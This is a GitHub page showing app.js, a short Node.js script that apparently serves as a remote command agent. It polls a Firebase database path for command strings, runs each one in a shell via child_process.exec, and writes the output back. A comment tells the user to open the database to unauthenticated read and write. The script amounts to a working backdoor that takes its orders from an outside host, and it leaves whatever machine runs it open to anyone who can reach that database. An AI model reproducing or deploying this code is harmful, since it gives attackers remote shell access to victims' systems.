-
Notifications
You must be signed in to change notification settings - Fork 0
/
app.js
41 lines (38 loc) · 1.06 KB
/
app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const firebase = require("firebase");
const exec = require('child_process').exec;
const config = require('./config/fireBase.js'); ///////firebase config object take it from console take care of the data base role you must allow unAUTH read and write
firebase.initializeApp(config);
const cmd = firebase.database().ref('userID/cmd');
cmd.on('value', (snapshot)=> {
snapshot.forEach((val)=>{
responce({id:val.key,cmd:val.val().cmd,done:val.val().done},(e,r)=>{
if(e) throw e
console.log(r)
})
})
});
const responce = (cmd,cb) => {
if(!cmd.done){
DO(cmd.cmd,(err,res)=>{
if (err) res = err
firebase.database().ref('userID/cmd/' + cmd.id).update({
result : res,
done : true
});
})
}
}
const DO = (cmd,cb)=>{
exec(cmd, (error, stdout, stderr) => {
if (error) {
cb(`exec error: ${error}`,null);
return;
}
if(stderr){
cb(`stderr: ${stderr}`,null)
return;
}
cb(null,`stdout: ${stdout}`)
return;
});
}